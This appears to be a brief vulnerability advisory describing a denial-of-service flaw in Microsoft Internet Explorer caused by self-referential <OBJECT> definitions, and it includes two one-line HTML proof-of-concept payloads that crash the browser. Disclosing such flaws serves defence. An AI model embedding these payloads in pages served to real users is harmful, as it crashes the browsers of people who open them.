source: https://www.securityfocus.com/bid/4564/info Microsoft Internet Explorer is vulnerable to a denial of service due to an error in handling certain self-referential <OBJECT> definitions in HTML documents. This occurs when an object of type "text/html" is specified, with the DATA field referencing the name of the HTML document in which it is defined. Other circumstances may also trigger this condition. Create a file named "CRASH.HTM" with the following line in it: <OBJECT DATA="CRASH.HTM" TYPE="text/html"></OBJECT> The following example was also submitted by Ryan Emerle: <object id="test" data="#" width="100%" height="100%" type="text/x-scriptlet" VIEWASTEXT></object>